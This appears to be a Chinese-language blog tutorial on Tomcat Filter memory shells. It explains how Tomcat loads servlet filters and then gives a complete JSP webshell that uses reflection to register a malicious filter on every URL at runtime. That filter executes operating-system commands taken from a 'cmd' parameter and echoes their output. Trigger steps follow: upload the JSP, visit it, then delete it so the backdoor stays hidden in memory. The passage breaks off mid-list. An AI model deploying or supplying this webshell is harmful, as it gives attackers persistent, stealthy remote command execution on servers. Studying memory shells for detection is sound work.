1. 基本概念
Filter(过滤器) 是 Java Web 应用中的一个组件,作用是在请求到达 Servlet 前,对请求和响应进行拦截、预处理或后处理。
特点:
-
介于 客户端请求 与 Servlet 之间
-
常见用途:认证、日志记录、请求参数处理
-
执行顺序:请求先经过 Filter → 再传递给 Servlet → 响应可再次经过 Filter
Filter 内存马 的思路与 Servlet 内存马类似:
-
利用 运行时动态注册 Filter 的能力
-
将恶意 Filter 植入内存
-
所有请求都会经过 Filter,从而实现后门逻辑
2. Filter 装载流程(开发者视角)
2.1 定义 Filter
package com.example.memshell; import jakarta.servlet.FilterChain; import jakarta.servlet.ServletException; import jakarta.servlet.http.HttpFilter; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; import java.io.IOException; public class MyFilter extends HttpFilter { @Override protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws IOException, ServletException { String cmd = req.getParameter("cmd"); if (cmd != null){ res.getWriter().println("自定义响应"); } super.doFilter(req, res, chain); } }
2.2 配置 web.xml
<filter> <filter-name>MyFilter</filter-name> <filter-class>com.example.memshell.MyFilter</filter-class> </filter> <filter-mapping> <filter-name>MyFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
2.3 Tomcat 加载
-
启动时,Tomcat 解析
web.xml
-
创建并初始化
MyFilter
对象 -
根据
<filter-mapping>
,将/*
的请求都交给MyFilter
处理
3. Tomcat Filter 加载流程(容器内部机制)
3.1 Web 应用启动
-
Tomcat 在启动时,会调用
ContextConfig#configureStart()
-
除了解析 Servlet,还会解析 Filter 配置
3.2 Filter 定义(FilterDef)
-
每个 Filter 的配置会被解析为
FilterDef
对象 -
包含:Filter 名称、类名、实例对象
3.3 Filter 映射(FilterMap)
-
<filter-mapping>
对应FilterMap
-
定义了 Filter 的匹配规则(如 URL pattern、Servlet 名称)
3.4 注册 Filter
-
StandardContext.addFilterDef(def)
注册 Filter 定义 -
StandardContext.addFilterMapBefore(map)
注册映射 -
standardContext.filterStart()
启动 Filter 机制
4. 内存马实现机制
Filter 内存马的实现步骤:
-
编写恶意 Filter(执行命令/响应输出)
-
获取 StandardContext
-
request.getServletContext()
→ 反射逐层获取内部StandardContext
-
-
创建 FilterDef(定义)和 FilterMap(映射)
-
调用 API 注册到容器
-
addFilterDef()
→ 注册 Filter -
addFilterMapBefore()
→ 设置 URL 匹配规则 -
filterStart()
→ 激活 Filter
-
5. 示例代码(JSP Filter 内存马)
<%@ page import="java.io.*" %> <%@ page import="java.lang.reflect.*" %> <%@ page import="org.apache.catalina.core.*" %> <%@ page import="javax.servlet.*, javax.servlet.http.*" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%! // 恶意 Filter public class ShellFilter implements Filter { @Override public void init(FilterConfig filterConfig) {} @Override public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException { String cmd = req.getParameter("cmd"); if (cmd != null) { Process proc = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader( new InputStreamReader(proc.getInputStream())); String line; while ((line = br.readLine()) != null) { resp.getWriter().println(line); } br.close(); } else { chain.doFilter(req, resp); } } @Override public void destroy() {} } %> <% // 1. 获取 StandardContext ServletContext servletContext = request.getServletContext(); Field appCtxField = servletContext.getClass().getDeclaredField("context"); appCtxField.setAccessible(true); ApplicationContext appCtx = (ApplicationContext) appCtxField.get(servletContext); Field stdCtxField = appCtx.getClass().getDeclaredField("context"); stdCtxField.setAccessible(true); StandardContext standardContext = (StandardContext) stdCtxField.get(appCtx); // 2. 创建恶意 Filter 定义 ShellFilter filter = new ShellFilter(); FilterDef def = new FilterDef(); def.setFilter(filter); def.setFilterName("filter-shell"); def.setFilterClass(filter.getClass().getName()); // 3. 创建 Filter 映射 FilterMap map = new FilterMap(); map.addURLPattern("/*"); map.setFilterName("filter-shell"); // 4. 注册到容器 standardContext.addFilterDef(def); standardContext.addFilterMapBefore(map); standardContext.filterStart(); %>
6. 触发步骤
-
上传 JSP 木马至服务器
-
访问 JSP 文件 → 执行注入逻辑,动态注册 Filter
-
之后的所有请求都会经过恶意 Filter
-
请求带参数
cmd
→ 执行系统命令 -
请求不带参数 → 正常转发到目标 Servlet
-
-
(可选)删除 JSP 文件,Filter 内存马依然驻留
7. 总结
-
Filter 内存马 与 Servlet 内存马 类似,都是利用 Tomcat 的动态注册机制
-
不同点:
-
Servlet 内存马需要手动绑定一个新 URL
-
Filter 内存马则是“全局挂钩”,对所有请求生效(更隐蔽)
-
-
关键 API:
-
addFilterDef()
-
addFilterMapBefore()
-
filterStart()
-
-
优势